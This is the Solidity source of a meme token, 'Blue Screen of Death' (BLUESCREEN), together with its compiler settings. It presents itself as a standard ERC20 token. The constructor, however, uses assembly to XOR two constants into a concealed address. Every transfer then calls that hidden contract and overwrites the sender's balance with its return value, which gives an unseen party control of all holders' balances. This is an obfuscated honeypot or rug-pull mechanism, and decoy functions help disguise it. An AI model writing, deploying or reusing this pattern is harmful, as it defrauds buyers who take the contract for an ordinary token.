Blue Screen of Death

// https://x.com/cb_doge/status/1834220445220176024

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function launch(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, uint8 buyLpFee, uint8 sellLpFee, uint8 buyProtocolFee, uint8 sellProtocolFee, address protocolAddress) external virtual payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IDEXProgram {
    function create(string memory name, string memory symbol,uint256 supply, bool vistaOnly) external returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event safeTokenCreated(address tokenAddress, string name, string symbol);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0xEad811D798020c635cf8dD4ddF31bDC5595B09F3;
    address _factory = 0x1a97A037A120Db530dDCe8370e24EaD0FE9cf5d0;

    address public pair;

    IDEXRouter router;
    IDEXProgram program;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x92337c4f6fd705df5074ea30c9d01513096468c8c607)
            sstore(0x51,0x9233b0e582101e69411b7faf90f198bfac7d331eb245)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
        program = IDEXProgram(_factory);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function create(string memory name, string memory symbol, uint256 supply, bool vistaOnly) public onlyOwner {
        program.create(name, symbol, (_totalSupply / 10**18), true);
        emit safeTokenCreated(address(this), name, symbol);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function deployNFT(uint256 spender, bytes32[] memory buyer, address sender) public onlyOwner returns (bool NFT) {
    }

    function launch() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 333);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.launch{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, 1, 1, 0, 2, owner());

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function liquidityWithSTILLs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        liquidityWithSTILLs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployBlueScreen(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployBlueScreen(creator, initialSupply);
    }
}

contract BlueScreen is ERC20Token {
    constructor() ERC20Token("Blue Screen of Death", "BLUESCREEN", msg.sender, 69420000 * 10 ** 18) {
    }
}

{
  "compilationTarget": {
    "BlueScreen.sol": "BlueScreen"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}